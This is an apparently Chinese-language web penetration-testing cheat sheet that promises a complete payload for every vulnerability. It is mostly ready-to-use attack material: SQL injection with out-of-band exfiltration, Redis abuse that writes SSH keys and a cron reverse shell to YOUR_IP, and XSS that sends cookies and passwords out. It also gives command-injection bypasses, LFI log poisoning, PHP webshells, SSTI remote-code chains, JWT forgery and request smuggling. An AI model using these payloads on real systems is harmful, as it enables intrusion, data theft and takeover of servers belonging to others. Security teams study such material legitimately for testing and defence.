04-Web渗透深度实战
核心理念:不讲废话,每一个漏洞都有完整Payload,每一条命令都是可直接操作的。
1.2 报错注入(Error-Based)
当结果不直接显示但SQL错误信息会显示时用。
UpdateXML报错(MySQL 5.1+):
' AND updatexml(1,concat(0x7e,database()),1)--
' AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())),1)--
' AND updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users')),1)--
' AND updatexml(1,concat(0x7e,(SELECT password FROM users LIMIT 0,1)),1)--
实战输入:
http://target.com/page.php?id=1' AND updatexml(1,concat(0x7e,database()),1)--
预期输出:XPATH syntax error: '~testdb'
ExtractValue报错:
' AND extractvalue(1,concat(0x7e,database()))--
双查询报错(经典floor报错):
' AND (SELECT 1 FROM (SELECT count(*),concat(database(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--
# 想爆更多数据就把 database() 换成子查询
' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT password FROM users LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--
PostgreSQL报错注入:
' AND cast((SELECT current_database()) AS numeric)--
' AND 1=cast((SELECT string_agg(table_name,',') FROM information_schema.tables WHERE table_schema='public') AS int)--
MSSQL报错注入:
' AND 1=db_name()--
' AND 1=(SELECT TOP 1 name FROM sys.tables FOR XML PATH(''))--
1.4 时间盲注(Time-Based Blind)
连布尔差异都没有,只能用响应时间判断。
# MySQL时间盲注
' AND (SELECT sleep(5))-- → 延迟5秒=有注入
' AND if(1=1,sleep(5),0)-- → 布尔判断版
' AND (SELECT sleep(if((database()='test'),5,0)))--
# 逐字符猜解
' AND if((ascii(substring(database(),1,1)))>100,sleep(3),0)--
' AND if((ascii(substring((SELECT password FROM users LIMIT 0,1),1,1)))=97,sleep(3),0)--
# PostgreSQL时间盲注
' AND (SELECT CASE WHEN (current_database()='test') THEN pg_sleep(5) ELSE pg_sleep(0) END)--
'||pg_sleep(5)--
# MSSQL时间盲注
'; IF (1=1) WAITFOR DELAY '0:0:5'--
'; IF (ascii(substring((SELECT TOP 1 name FROM sysobjects),1,1)))>100 WAITFOR DELAY '0:0:3'--
# Oracle时间盲注
' AND (SELECT CASE WHEN (1=1) THEN dbms_pipe.receive_message(('a'),5) ELSE 0 END FROM dual)--
实战操作:
sqlmap -u "http://target.com/page.php?id=1" --technique=T --time-sec=3 --dump
1.6 OOB带外注入(Out-of-Band)
1.6.1 MySQL DNS带外(Windows only, secure_file_priv为空)
# 先确认secure_file_priv
' UNION SELECT @@secure_file_priv--
# 读文件
' UNION SELECT load_file('\\\\',(SELECT @@version),'.YOUR_CEYE.io\\a.txt')--
# 爆库名
' UNION SELECT load_file(concat('\\\\',(SELECT database()),'.YOUR_CEYE.io\\a'))--
# 爆表名
' UNION SELECT load_file(concat('\\\\',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),'.YOUR_CEYE.io\\a'))--
# 爆列名
' UNION SELECT load_file(concat('\\\\',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users'),'.YOUR_CEYE.io\\a'))--
# 爆数据
' UNION SELECT load_file(concat('\\\\',(SELECT concat(username,':',password) FROM users LIMIT 0,1),'.YOUR_CEYE.io\\a'))--
实战前提:需要在 http://ceye.io 注册,获得一个子域名如 abc123.ceye.io。
预期输出:在CEYE的DNS查询记录中看到类似 admin:e10adc3949ba59ab.abc123.ceye.io 的域名解析请求。
1.6.2 MSSQL OOB
'; DECLARE @a varchar(1024); SET @a='master..xp_dirtree "\\\\'+@@version+'.YOUR_CEYE.io\\a"'; EXEC(@a)--
1.6.3 Oracle OOB
' UNION SELECT utl_http.request('http://YOUR_CEYE.io/'||(SELECT password FROM users WHERE rownum=1)) FROM dual--
2.2 MySQL读文件(LOAD_FILE)
# 读passwd
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3--
# 读主机信息
' UNION SELECT LOAD_FILE('/etc/hosts'),2,3--
# 读配置文件
' UNION SELECT LOAD_FILE('/var/www/html/config.php'),2,3-- # 源码会显示在页面中!
' UNION SELECT LOAD_FILE('/var/www/html/.env'),2,3--
# 读Windows文件
' UNION SELECT LOAD_FILE('C:/Windows/system.ini'),2,3--
' UNION SELECT LOAD_FILE('C:/inetpub/wwwroot/web.config'),2,3--
# 读Nginx配置找其他站点路径
' UNION SELECT LOAD_FILE('/etc/nginx/nginx.conf'),2,3--
' UNION SELECT LOAD_FILE('/etc/nginx/sites-enabled/default'),2,3--
# 读Apache配置
' UNION SELECT LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf'),2,3--
' UNION SELECT LOAD_FILE('/etc/httpd/conf/httpd.conf'),2,3--
# 读MySQL自己的数据库文件(需要datadir路径)
' UNION SELECT LOAD_FILE('/var/lib/mysql/mysql/user.MYD'),2,3--
# 或直接用concat读取
' UNION SELECT CONCAT(LOAD_FILE('/var/lib/mysql/mysql/user.MYD')),2,3--
3. NoSQL注入
3.1 MongoDB认证绕过
// 登录接口POST数据(Content-Type: application/json)
// 正常:{"username":"admin","password":"wrongpass"}
// 攻击:
// #1 永远为真绕过
{"username":{"$ne":null},"password":{"$ne":null}}
{"username":{"$ne":""},"password":{"$ne":""}}
{"username":{"$gt":""},"password":{"$gt":""}}
// #2 正则匹配爆破密码
{"username":"admin","password":{"$regex":"^a"}}
{"username":"admin","password":{"$regex":"^b"}}
{"username":"admin","password":{"$regex":"^ad"}}
// 如果返回"登录成功",则该字符匹配,继续爆破curl实战:
# 测试认证绕过
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":null},"password":{"$ne":null}}'
# 正则爆破
curl -s http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$regex":"^a"}}' | grep -c 'success'Python自动爆破脚本:
import requests
import string
url = "http://target.com/api/login"
headers = {"Content-Type": "application/json"}
password = ""
while True:
for c in string.printable:
payload = {"username": "admin", "password": {"$regex": f"^{password}{c}"}}
r = requests.post(url, json=payload, headers=headers)
if "success" in r.text or "token" in r.text or r.status_code == 200:
password += c
print(f"[+] Found char: {password}")
break
else:
break
print(f"[+] Password: {password}")3.3 Redis注入
# 如果Redis暴露且无认证(默认端口6379)
redis-cli -h target.com
> keys * # 查看所有键
> get "keyname" # 读取
> config get dir # 查看持久化目录
> config get dbfilename # 查看RDB文件名
# 写定时任务SSH密钥
redis-cli -h target.com
> config set dir /root/.ssh/
> config set dbfilename authorized_keys
> set key "\n\nssh-rsa AAAAB3... YOUR_KEY\n\n"
> save
# 写计划任务
redis-cli -h target.com
> config set dir /var/spool/cron/
> config set dbfilename root
> set key "\n\n*/1 * * * * bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\n\n"
> save
# 写WebShell(需要知道绝对路径)
redis-cli -h target.com
> config set dir /var/www/html/
> config set dbfilename shell.php
> set key "<?php system($_GET['cmd']); ?>"
> save4.2 存储型XSS(留言板注入)
# 在留言板内容中输入以下任一Payload提交
<script>fetch('http://YOUR_IP:8888/?cookie='+document.cookie)</script>
<!-- 短且隐蔽 -->
<img src=x onerror=this.src='http://YOUR_IP:8888/?c='+document.cookie>
<!-- 加载外部JS -->
<script src="http://YOUR_IP:8888/payload.js"></script>
外部payload.js内容:
// payload.js — 挂在YOUR_VPS上
var x = new XMLHttpRequest();
x.open('GET', 'http://YOUR_IP:8888/?cookie='+encodeURIComponent(document.cookie)+'&url='+encodeURIComponent(location.href), true);
x.send();
// 劫持表单(记录管理员输入的旧密码)
var forms = document.querySelectorAll('input[type="password"]');
forms.forEach(function(f){
f.addEventListener('change', function(){
new Image().src = 'http://YOUR_IP:8888/?pwd='+encodeURIComponent(f.value);
});
});4.4 XSS绕过过滤
<!-- ============ 绕过标签过滤 ============ -->
<!-- 如果过滤<script> -->
<img src=x onerror=alert(1)>
<img src="x" onerror="alert(1)">
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<marquee onstart=alert(1)>
<select onfocus=alert(1) autofocus>
<object data="data:text/html,<script>alert(1)</script>">
<!-- ============ 大小写混用 ============ -->
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
<!-- ============ 双写绕过 ============ -->
<scr<script>ipt>alert(1)</scr</script>ipt>
<!-- ============ 编码绕过 ============ -->
<!-- HTML实体编码 -->
<script>alert(1)</script>
<!-- URL编码(用于URL参数中) -->
%3Cscript%3Ealert(1)%3C%2Fscript%3E
<!-- Base64编码(配合eval) -->
<script>eval(atob('YWxlcnQoMSk='))</script>
<!-- YWxlcnQoMSk= = alert(1) -->
<!-- JS Unicode编码 -->
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029")</script>
<!-- ============ 空格被过滤 ============ -->
<img/src=x/onerror=alert(1)>
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
<!-- 用 / 代替空格,或用换行符 %0a %0d -->
<img%0asrc=x%0aonerror=alert(1)>
<!-- ============ 引号被过滤 ============ -->
<img src=x onerror=alert(String.fromCharCode(49))>
<script>setTimeout(atob('YWxlcnQoMSk='))</script>
<!-- ============ 括号被过滤 ============ -->
<img src=x onerror=alert`1`>
<script>alert`1`</script>
<script>onerror=alert;throw 1</script>
<script>{onerror=alert}throw 1</script>
<!-- ============ alert被过滤 ============ -->
<script>prompt(1)</script>
<script>confirm(1)</script>
<img src=x onerror=prompt(1)>
<img src=x onerror=document.write('XSS')>
<!-- ============ 其他高级绕过 ============ -->
<!-- 利用location -->
<script>location='javascript:alert(1)'</script>
<script>location='data:text/html,<script>alert(1)<\/script>'</script>
<!-- 利用document.write + encodeURIComponent -->
<script>document.write(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,49,41,60,47,115,99,114,105,112,116,62))</script>
<!-- 利用CSS -->
<style>body{background:url('javascript:alert(1)')}</style>
<div style="background-image: url(javascript:alert(1))">
<!-- 在属性中注入 -->
<a href="javascript:alert(1)">click</a>
<a onclick="alert(1)">click</a>
<input type="button" value="click" onclick="alert(1)">
<form action="javascript:alert(1)"><input type="submit"></form>5. CSRF跨站请求伪造
5.1 GET请求CSRF
<!-- 攻击者的钓鱼页面 (attacker.com/csrf.html) -->
<!-- 方法1:img标签 -->
<img src="http://target.com/change_email?email=attacker@evil.com" width="0" height="0">
<!-- 方法2:隐藏iframe -->
<iframe src="http://target.com/delete_account" style="display:none"></iframe>
<!-- 方法3:script标签 -->
<script src="http://target.com/api/transfer?to=attacker&amount=10000"></script>
<!-- 方法4:link标签 -->
<link rel="stylesheet" href="http://target.com/admin/delete_user?id=5">5.3 Ajax CSRF(绕过简单验证)
<html>
<body>
<script>
// 跨域POST(如果目标CORS配置宽松)
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://target.com/api/change_email', true);
xhr.withCredentials = true; // 携带Cookie
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send('{"email":"attacker@evil.com"}');
</script>
</body>
</html>6. SSRF深度实战
6.1 基本检测
# 如果目标有URL获取功能(如头像上传url=、代理?url=、图片获取?img=)
# 先在自己VPS上看能否收到请求
# 测试URL参数
http://target.com/proxy?url=http://YOUR_VPS_IP:8888/
http://target.com/fetch?src=http://127.0.0.1:80/
http://target.com/view?file=http://169.254.169.254/latest/meta-data/
# 在自己VPS监听
nc -lvnp 88886.3 内网端口扫描
# 根据响应时间/报错信息判断端口开放情况
# 手动测试常见端口
http://127.0.0.1:80/ # HTTP
http://127.0.0.1:8080/ # HTTP Alt
http://127.0.0.1:8443/ # HTTPS
http://127.0.0.1:6379/ # Redis
http://127.0.0.1:3306/ # MySQL
http://127.0.0.1:5432/ # PostgreSQL
http://127.0.0.1:27017/ # MongoDB
http://127.0.0.1:11211/ # Memcached
http://127.0.0.1:5000/ # Docker Registry
http://127.0.0.1:2375/ # Docker API
http://127.0.0.1:6379/ # Redis
# Burp Suite Intruder:
# 载荷:数字端口集合(21,22,80,443,445,1433,1521,3306,3389,5432,6379,8080,8443,9090,27017...)
# 判断依据:响应时间、报错内容不同6.5 Gopher协议打内网服务
# Gopher协议可以构造任意TCP payload,常用于打内网未认证的服务
# ============ 打Redis ============
# 目标:内网Redis 6379,无认证
# 在Redis中写入SSH公钥:
# 第一步:构造Gopher payload
# Redis命令:flushall\nset key "ssh-rsa AAA...\n\n"\nconfig set dir /root/.ssh/\nconfig set dbfilename authorized_keys\nsave\n
# 第二步:URL编码 Redis命令(每个字符转成%XX)
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0akey%0d%0a$390%0d%0a%0a%0assh-rsa%20AAA...%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
# ============ Gopher生成器(Python) ============
# 快速生成Redis写入SSH公钥的Gopher PayloadGopher Payload生成脚本(Python):
#!/usr/bin/env python3
# gopher_redis_ssh.py
def redis_to_gopher(redis_cmds, host="127.0.0.1", port=6379):
"""将Redis命令列表转换为Gopher URL"""
payload = ""
for cmd in redis_cmds:
payload += f"*{len(cmd)}\r\n"
for arg in cmd:
payload += f"${len(str(arg))}\r\n{arg}\r\n"
# URL编码
encoded = ""
for char in payload:
if char == '\n':
encoded += '%0a'
elif char == '\r':
encoded += '%0d'
elif char == ' ':
encoded += '%20'
elif char == '/':
encoded += '%2f'
else:
encoded += char
return f"gopher://{host}:{port}/_{encoded}"
# 用法示例
cmds = [
["flushall"],
["set", "key", "\n\nssh-rsa AAAAB3... YOUR_SSH_PUBKEY\n\n"],
["config", "set", "dir", "/root/.ssh/"],
["config", "set", "dbfilename", "authorized_keys"],
["save"]
]
print(redis_to_gopher(cmds))打MySQL:
# Gopher MySQL: 需要构造MySQL握手包
# 用工具: https://github.com/tarunkant/Gopherus
python2 gopherus.py --exploit mysql
7. 命令注入
7.1 基本命令分隔符
# ============ Linux分隔符 ============
; ls -la # 分号分隔
| whoami # 管道
|| ping -c 5 127.0.0.1 # 前命令失败才执行
& ls # 后台执行
&& whoami # 前命令成功才执行
%0a id # 换行符编码
%0d%0a id # CRLF换行
`id` # 反引号命令替换
$(id) # Dollar命令替换
$(cat /etc/passwd) # 读取文件
# ============ Windows分隔符 ============
| dir
|| dir
& dir
&& dir
# ============ 换行符注入(常见于HTTP Header) ============
%0a id
%0d%0a whoami
\n cat /etc/passwd7.3 绕过过滤
# ============ 空格被过滤 ============
# 替代方案:
cat${IFS}/etc/passwd # ${IFS} = Internal Field Separator
cat</etc/passwd # 输入重定向
{cat,/etc/passwd} # 花括号
cat$IFS$9/etc/passwd # $IFS$9
X=$'cat\x20/etc/passwd'&&$X # hex编码空格
cat%09/etc/passwd # 水平制表符
# ============ 关键字被过滤 ============
# cat被过滤:
/bin/cat /etc/passwd
/bin/c?t /etc/passwd
/bin/ca* /etc/passwd
c''a''t /etc/passwd
c"a"t /etc/passwd
c\at /etc/passwd
\143\141\164 /etc/passwd # 八进制编码
/bin/c$(echo at) /etc/passwd
# 斜杠被过滤:
echo ${PATH:0:1} # 输出 /
${HOME:0:1}cat${HOME:0:1}etc${HOME:0:1}passwd
# ============ 管道被过滤 ============
# 用输入重定向代替管道
grep root < /etc/passwd
# 用 -exec 代替
find / -name "passwd" -exec cat {} \;8. LFI/RFI文件包含
8.1 本地文件包含 (LFI)
# 基础路径穿越
http://target.com/page.php?file=../../../../etc/passwd
http://target.com/page.php?file=....//....//....//etc/passwd # 过滤../的绕过
http://target.com/page.php?file=....\/....\/....\/etc/passwd # 过滤/的绕过
http://target.com/page.php?file=..%2f..%2f..%2f..%2fetc%2fpasswd # URL编码
http://target.com/page.php?file=..%252f..%252f..%252f..%252fetc%252fpasswd # 双层编码
# 绝对路径直接读
http://target.com/page.php?file=/etc/passwd
http://target.com/page.php?file=C:\Windows\system.ini
# 利用/proc/self/environ(环境变量中可能有User-Agent等信息)
# 第一步:修改User-Agent为 <?php system($_GET["cmd"]); ?>
# 第二步:读取 /proc/self/environ
http://target.com/page.php?file=/proc/self/environ
# 利用/proc/self/fd(文件描述符)
http://target.com/page.php?file=/proc/self/fd/0 # stdin
http://target.com/page.php?file=/proc/self/fd/1 # stdout
http://target.com/page.php?file=/proc/self/fd/12 # 可能是日志8.3 日志文件包含→RCE
# ============ Apache/Nginx访问日志注入 ============
# Step 1: 通过HTTP请求将PHP代码写入日志
# 访问恶意URL,让服务器记录:
curl "http://target.com/<?php system(\$_GET['cmd']); ?>"
# 或通过User-Agent:
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
# 常见日志路径:
# Apache: /var/log/apache2/access.log, /var/log/httpd/access_log
# Nginx: /var/log/nginx/access.log
# 自定义: /var/log/apache2/other_vhosts_access.log
# Step 2: LFI包含日志文件
http://target.com/page.php?file=/var/log/apache2/access.log&cmd=id
http://target.com/page.php?file=/var/log/nginx/access.log&cmd=id
http://target.com/page.php?file=../../../../var/log/apache2/access.log&cmd=whoami
# ============ SSH日志投毒 ============
# 如果有用户名枚举SSH
ssh '<?php system($_GET["cmd"]);?>'@target.com
# 日志路径: /var/log/auth.log
# ============ /proc/self/environ投毒 ============
# 通过User-Agent注入PHP代码
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://target.com/
# 包含: ?file=/proc/self/environ&cmd=id9. 文件上传绕过
9.1 后缀名绕过
# ============ 黑名单后缀绕过 ============
shell.php → 被拦截
shell.php5 → php5也解析PHP
shell.phtml → 如果Apache配置了解析
shell.pht → 同phtml
shell.phar → PHP Archive
shell.phps → PHP源码显示
shell.shtml → Server-Side Includes
shell.shtm
shell.php.jpg → 双后缀(有些配置漏洞)
shell.php.jpeg → 双后缀
shell.php%00.jpg → 空字节截断(PHP<5.3.4)
shell.php%00
shell.php. → Windows下末尾点号会被去掉
shell.php::$DATA → Windows文件流
shell.pHp → 大小写混用
shell.PHP
shell.asp;.jpg → IIS6解析漏洞
shell.aspx;.jpg
shell.jpg/.php → Nginx解析漏洞(未正确配置fastcgi)
shell.jpg%0d%0a.php → 换行绕过(Apache)
# ============ .htaccess覆盖(Apache)============
# 如果允许上传.htaccess文件:
# 上传的.htaccess内容:
AddType application/x-httpd-php .jpg
# 然后上传含有PHP代码的.jpg文件,它将被解析为PHP
# 更完整的.htaccess攻击:
<FilesMatch "evil">
SetHandler application/x-httpd-php
</FilesMatch>
# 上传名为 evil 的文件,内含PHP代码
# .user.ini(Nginx + PHP-FPM)
# 上传.user.ini:
auto_prepend_file=evil.jpg
auto_append_file=evil.jpg
# 上传evil.jpg:<?php system($_GET["cmd"]); ?>
# 之后访问同一目录下任何PHP文件都会包含evil.jpg9.3 图片马制作及利用
# 方法1:直接拼接
echo '<?php system($_GET["cmd"]); ?>' >> image.jpg
# 方法2:exiftool注入
exiftool -DocumentName='<?php system($_GET["cmd"]); ?>' image.jpg
exiftool -Artist='<?php system($_GET["cmd"]); ?>' image.jpg
# 方法3:用GIMP等工具在图片EXIF注释中写PHP代码
# 方法4:完整PHP图片马(GIF89a头)
# 文件内容:
GIF89a
<?php
if(isset($_REQUEST['cmd'])){
system($_REQUEST['cmd']);
}
?>9.5 ZIP/压缩包上传
# 上传ZIP包含符号链接的(zip slip)
ln -s /etc/passwd passwd_link
zip --symlinks payload.zip passwd_link
# 上传后解压可能覆盖/etc/passwd或读取敏感文件
# 上传ZIP中包含PHP文件绕过
zip shell.zip shell.php
# 如果目标只检查上传时的文件类型10.2 XXE→SSRF
<!-- 内网端口探测 -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">]>
<root>&xxe;</root>
<!-- 云元数据 -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root>&xxe;</root>
<!-- 内网应用访问 -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-admin.target.com/admin/">]>
<root>&xxe;</root>10.4 XXE→RCE
<!-- expect:// 执行命令(如果装了expect模块) -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
<root>&xxe;</root>
<!-- PHP中的phar://反序列化利用 -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "phar:///var/www/uploads/shell.jpg">]>
<root>&xxe;</root>11.2 Jinja2 (Python) 深入利用
# ============ 信息收集 ============
{{config}} # 输出Flask配置(含SECRET_KEY)
{{config.items()}} # 遍历配置项
{{self.__class__.__mro__}} # 查看类继承链
{{self.__class__.__mro__[1].__subclasses__()}} # 查看所有子类
{{request}} # 查看请求对象
{{request.environ}} # 环境变量
{{session}} # Session内容
# ============ RCE链1:利用os模块 ============
# 查找包含os或subprocess的类
{{''.__class__.__mro__[1].__subclasses__()}}
# 找到 <class 'subprocess.Popen'> 或 <class 'os._wrap_close'>
# 常见的RCE payload:
{{''.__class__.__mro__[1].__subclasses__()[X]}}
# 其中X是warnings.catch_warnings或其他可用类的索引
# 通过<class 'warnings.catch_warnings'> 获取 os:
{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('id').read()}}
# ============ RCE链2:使用__builtins__ ============
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()')}}
# ============ RCE链3:利用config(仅Flask)============
{{config.from_object('os').popen('id').read()}}
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# ============ RCE链4:利用lipsum/lipsum ============
{{lipsum.__globals__['os'].popen('id').read()}}
# ============ 文件读取 ============
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{get_flashed_messages.__globals__.__builtins__.open('/etc/passwd').read()}}
# ============ 便捷查找子类索引脚本 ============
# 在目标机上运行,找出可用类的索引
# Jinja2模板中直接搜索:
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}{{ loop.index0 }}{% endif %}
{% endfor %}Jinja2自动RCE Payload生成器:
#!/usr/bin/env python3
# jinja2_rce_payload_gen.py
import requests
def generate_jinja2_payload(cmd):
"""生成Jinja2 RCE payload(多种尝试)"""
payloads = [
f"{{{{''.__class__.__mro__[2].__subclasses__()[40](__import__('os').popen('{cmd}').read())}}}}",
f"{{{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('{cmd}').read()}}}}",
f"{{{{lipsum.__globals__['os'].popen('{cmd}').read()}}}}",
f"{{{{config.__class__.__init__.__globals__['os'].popen('{cmd}').read()}}}}",
f"{{{{request.application.__self__._get_data_for_json.__builtins__['eval'](\"__import__('os').popen('{cmd}').read()\")}}}}",
]
return payloads
# 使用示例
for p in generate_jinja2_payload("id"):
print(p)11.4 FreeMarker (Java) SSTI
# 信息收集
${product.getClass().getProtectionDomain().getCodeSource().getLocation()}
${.version}
# RCE (FreeMarker 2.3)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# 或者用ObjectConstructor
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","whoami").start()}
# 文件读取
${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileReader","/etc/passwd")}12. 反序列化攻击
12.1 PHP反序列化
# 存在反序列化漏洞的代码:
# $data = unserialize($_GET['data']);
# 第一步:分析目标类,找到魔术方法(__wakeup, __destruct, __toString, __call等)
# 以Laravel为例的经典链:
# Payload生成
# 手动构造序列化字符串(假设已知类结构):
# O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:10:"hackedpass";}
# 更多实战Payload:
# O:8:"Example1":1:{s:4:"file";s:5:"/etc/passwd";} (如果class Example1{public $file;function__destruct(){echo file_get_contents($this->file);}})
# 写文件
O:8:"Example2":1:{s:4:"data";s:35:"<?php system($_GET['cmd']); ?>";} (如果__destruct中file_put_contents)
# 利用PHP原生类(无需目标类即可攻击)
# 使用 SoapClient 进行SSRF:
$a = new SoapClient(null, array('uri'=>'http://127.0.0.1/', 'location'=>'http://127.0.0.1:6379/'));
$b = serialize($a);
echo urlencode($b);
# PHPGGC生成各类框架的POP链
phpggc -l # 列出所有可用链
phpggc Laravel/RCE1 'id' # Laravel RCE
phpggc Monolog/RCE1 'system' 'id' # Monolog RCE
phpggc Guzzle/FW1 'whoami' # Guzzle文件写入
# 实战用法
./phpggc Symfony/RCE4 'system' 'id' | base64
# 然后将base64解码后的payload传入反序列化参数12.3 .NET反序列化
# 使用ysoserial.net
# https://github.com/pwntester/ysoserial.net
# 生成ViewState Payload
ysoserial.net -p ViewState -g ActivitySurrogateSelectorFromFile -c "msf.cs;System.dll;System.Web.dll"
# 生成ObjectDataProvider
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc" -o base6413. JWT攻击
13.1 alg:none攻击
# JWT结构: header.payload.signature
# 正常JWT:
# header: {"alg":"RS256","typ":"JWT"}
# payload: {"user":"admin","iat":1516239022}
# signature: HMACSHA256(base64UrlEncode(header)+"."+base64UrlEncode(payload), secret)
# alg:none攻击:将alg改为none,删除签名部分
# Step 1: 解码JWT(https://jwt.io 或命令行)
# Step 2: 修改 header → {"alg":"none","typ":"JWT"}
# Step 3: 修改 payload → {"user":"admin","role":"admin"}
# Step 4: 移除签名部分,只留 header.payload.
# Step 5: 发送修改后的JWT
# 手工操作示例:
# 原始JWT:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.xxx_signature
# 修改后的攻击JWT(注意最后保留 . 但无签名内容):
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.
# 解码验证:
# echo eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 | base64 -d → {"alg":"none","typ":"JWT"}
# echo eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ | base64 -d → {"user":"admin","role":"admin"}13.3 密钥混淆攻击(RS256→HS256)
# 如果服务端使用RS256(非对称),但错误地允许HS256(对称)
# 攻击者可以用公钥作为HS256的密钥来签名
# Step 1: 获取公钥(通常从 /.well-known/jwks.json 或 /jwks.json 获取)
curl http://target.com/.well-known/jwks.json
curl http://target.com/jwks.json
curl http://target.com/api/public_key
# Step 2: 用公钥作为HMAC密钥,alg改为HS256,签发任意JWT
python3 << 'EOF'
import jwt
import base64
# 假设获取到的公钥内容
public_key = open('public_key.pem').read()
# 用公钥作为HS256的secret签发admin JWT
token = jwt.encode(
{"user": "admin", "role": "admin"},
public_key, # 用公钥作为对称密钥!
algorithm="HS256"
)
print(token)
EOF
# 然后把生成的JWT发给服务端14. HTTP请求走私 (Request Smuggling)
14.1 CL.TE 走私 (Content-Length vs Transfer-Encoding)
# 前端服务器用Content-Length,后端用Transfer-Encoding
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 6
Transfer-Encoding: chunked
0
G
# G是走私的前缀请求的开始部分
# 完整CL.TE走私导致请求劫持:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 44
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable.com
Foo: bar
# 上面的GET /admin会被走私到下一个正常用户的请求之前复现步骤:
# Step 1: 用Burp Repeater发送上面的CL.TE请求
# Step 2: 立即再发一个正常的GET请求
# Step 3: 观察第二个请求的响应——如果返回了/admin页面的内容,说明走私成功14.3 TE.TE 走私(混淆Transfer-Encoding)
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: xchunked # 一个是障眼法!
Transfer-Encoding : chunked
5e
GET /admin HTTP/1.1
Host: vulnerable.com
0
# 前端和后端对哪个Transfer-Encoding有效产生分歧15. Web Cache投毒
15.1 基本检测
# 原理:通过HTTP头注入让缓存服务器缓存恶意响应
# 测试头注入点
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
# 观察响应中是否有资源URL变成了 attacker.com
GET / HTTP/1.1
Host: target.com
X-Forwarded-Scheme: http
# 观察是否有HTTP→HTTPS的重定向被缓存15.3 未Keyed参数投毒
# 缓存键不包含某些参数,但这些参数影响响应
# 正常请求(缓存键: /index.html?lang=en)
GET /index.html?lang=en HTTP/1.1
Host: target.com
# 如果响应中有 <link rel="canonical" href="http://target.com/index.html" />
# 尝试投毒:
GET /index.html?lang=en&utm_source=x'><script>alert(1)</script> HTTP/1.1
Host: target.com
# 如果lang=en是缓存键一部分,但utm_source不是,
# 则投毒后的响应会被当作正常页面缓存16. 越权/IDOR
16.1 水平越权(同级用户数据)
# ============ 直接ID遍历 ============
curl http://target.com/user/profile/1
curl http://target.com/user/profile/2
curl http://target.com/user/profile/3
# 用Burp Intruder批量遍历
# Payload: 1-1000
# 分析响应中是否有其他用户信息
# ============ 邮箱/用户名遍历 ============
curl http://target.com/api/user/info?email=user1@test.com
curl http://target.com/api/user/info?email=admin@test.com
# ============ UUID遍历(更难预测但同样存在)============
curl http://target.com/order/detail/a1b2c3d4-e5f6-7890-abcd-ef1234567890
curl http://target.com/order/detail/b2c3d4e5-f6a7-8901-bcde-f12345678901
# ============ 文件下载IDOR ============
curl http://target.com/download?file_id=1001
curl http://target.com/download?file_id=1002
# ============ GraphQL IDOR ============
curl -X POST http://target.com/graphql -H "Content-Type: application/json" \
-d '{"query":"{user(id: 2) {name email phone}}"}'
